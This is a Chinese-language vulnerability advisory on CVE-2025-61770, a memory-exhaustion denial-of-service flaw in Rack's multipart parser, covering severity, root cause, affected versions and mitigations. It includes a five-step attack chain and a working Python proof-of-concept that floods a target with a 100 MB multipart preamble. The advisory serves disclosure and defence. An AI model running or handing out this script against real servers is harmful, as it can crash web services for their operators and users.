IPBUF安全漏洞报告
English
CVE-2025-61770 CVSS 7.5 高危

CVE-2025-61770 Rack Multipart解析器拒绝服务漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-61770
漏洞类型
拒绝服务攻击(内存耗尽/OOM)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Rack(Ruby Web服务器接口)

相关标签

拒绝服务DoS内存耗尽OOMRackRubymultipartHTTPWeb服务器高危漏洞

漏洞概述

CVE-2025-61770是Rack Web服务器接口中的一个高危拒绝服务漏洞。Rack作为Ruby生态系统中广泛使用的模块化Web服务器接口,被大量Ruby Web框架(如Rails、Sinatra等)所依赖。该漏洞存在于Rack::Multipart::Parser组件中,该组件负责解析HTTP multipart/form-data请求。

在2.2.19、3.1.17和3.2.2之前的版本中,Rack::Multipart::Parser会将multipart请求中第一个边界标识符之前的所有字节(即preamble/前置数据)无限制地缓存在内存中,而没有设置任何大小上限。攻击者可以通过发送包含超长preamble数据的multipart请求,使服务器消耗大量内存资源。由于现代Web服务器通常配置了较大的请求体大小限制,并且支持高并发连接,这种攻击的影响会被显著放大,可能导致进程因内存耗尽(OOM)而被终止,引发worker进程崩溃或因垃圾回收导致的严重性能下降。

该漏洞的CVSS评分为7.5分,属于高危级别。虽然不需要认证和用户交互即可利用,但其影响仅限于可用性(Availability),不涉及机密性或完整性的破坏。远程攻击者可以通过简单的HTTP请求即可触发该漏洞,对Web服务的稳定性构成严重威胁。

技术细节

该漏洞的根本原因在于Rack::Multipart::Parser在处理multipart/form-data请求时,对preamble数据(即第一个boundary分隔符之前的字节)的处理缺乏内存限制机制。

在HTTP multipart请求的标准格式中,preamble是可选的,通常用于放置注释或元数据。RFC 2046规范允许在第一个boundary之前存在任意长度的preamble数据。然而,Rack在解析此类请求时,会将整个preamble内容加载到内存缓冲区中,而没有实施任何大小检查或流式处理。

攻击利用方式相对简单:攻击者构造一个multipart/form-data请求,在第一个boundary标识符之前填充大量任意字节数据(可以是注释或随机数据),然后正常包含有效的表单字段。当Rack::Multipart::Parser处理该请求时,它会将整个preamble读取并存储在内存中,直到遇到第一个boundary才开始处理实际的表单数据。

利用的关键点包括:1)无需认证(PR:N),任何能够发送HTTP请求的远程用户均可利用;2)无需用户交互(UI:N),完全自动化;3)攻击复杂度低(AC:L),仅需发送一个精心构造的HTTP请求;4)影响会随着允许的请求体大小和并发连接数线性放大,单个请求即可消耗数百MB甚至GB级别的内存。

修复方案是在Rack::Multipart::Parser中引入preamble大小限制(例如16 KiB),或者完全丢弃preamble数据。修复版本2.2.19、3.1.17和3.2.2实施了这一保护机制。

攻击链分析

STEP 1
步骤1:识别目标
攻击者扫描互联网或内网,识别使用Rack(Ruby Web框架)且版本低于2.2.19、3.1.17或3.2.2的Web服务。常见的目标包括使用Rails、Sinatra等框架的应用。
STEP 2
步骤2:构造恶意请求
攻击者构造一个multipart/form-data类型的HTTP POST请求,在第一个boundary分隔符之前填充大量任意字节数据(preamble),数据大小可达数百MB甚至GB级别。
STEP 3
步骤3:发送请求
攻击者通过简单的HTTP请求将恶意multipart数据发送到目标服务器。由于漏洞无需认证和用户交互,攻击可以完全自动化进行。
STEP 4
步骤4:触发内存耗尽
Rack::Multipart::Parser接收到请求后,将整个preamble数据无限制地加载到内存中,导致服务器内存使用量急剧上升。
STEP 5
步骤5:服务不可用
当内存消耗超过系统限制时,worker进程因OOM被操作系统终止,或者因频繁的垃圾回收导致服务严重降速,最终实现拒绝服务攻击效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2025-61770 - Rack Multipart Parser DoS via large preamble # This script sends a multipart/form-data request with an oversized preamble # to trigger OOM condition on vulnerable Rack versions (< 2.2.19, < 3.1.17, < 3.2.2) import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000/upload" PREAMBLE_SIZE = int(sys.argv[2]) if len(sys.argv) > 2 else 100 * 1024 * 1024 # 100MB default def exploit(): boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" # Construct multipart body with oversized preamble # The preamble is everything before the first boundary delimiter preamble = "A" * PREAMBLE_SIZE # Fill with arbitrary data body = preamble.encode() + f"\r\n--{boundary}\r\n".encode() body += b'Content-Disposition: form-data; name="field1"\r\n\r\n' body += b'value1\r\n' body += f"--{boundary}--\r\n".encode() headers = { "Content-Type": f"multipart/form-data; boundary={boundary}", "Content-Length": str(len(body)) } print(f"[*] Sending malicious multipart request to {TARGET_URL}") print(f"[*] Preamble size: {PREAMBLE_SIZE / (1024*1024):.2f} MB") print(f"[*] Total body size: {len(body) / (1024*1024):.2f} MB") try: response = requests.post(TARGET_URL, data=body, headers=headers, timeout=30) print(f"[*] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Server timed out - possible DoS condition triggered") except requests.exceptions.ConnectionError as e: print(f"[+] Connection error - server may have crashed: {e}") except Exception as e: print(f"[*] Error: {e}") if __name__ == "__main__": exploit()

影响范围

Rack < 2.2.19
Rack 3.1.x < 3.1.17
Rack 3.2.x < 3.2.2

防御指南

临时缓解措施
在无法立即升级Rack版本的情况下,可以通过以下临时措施缓解风险:1)在Nginx、Apache等反向代理或Web服务器层面配置客户端请求体大小限制(如设置client_max_body_size为合理值,例如10MB);2)使用防火墙规则限制来自单一IP的并发连接数和请求频率;3)配置系统级别的内存监控和告警;4)设置进程级别的内存使用上限(如使用cgroups或容器资源限制);5)考虑在应用层添加自定义中间件来检测和拒绝包含过大preamble的multipart请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表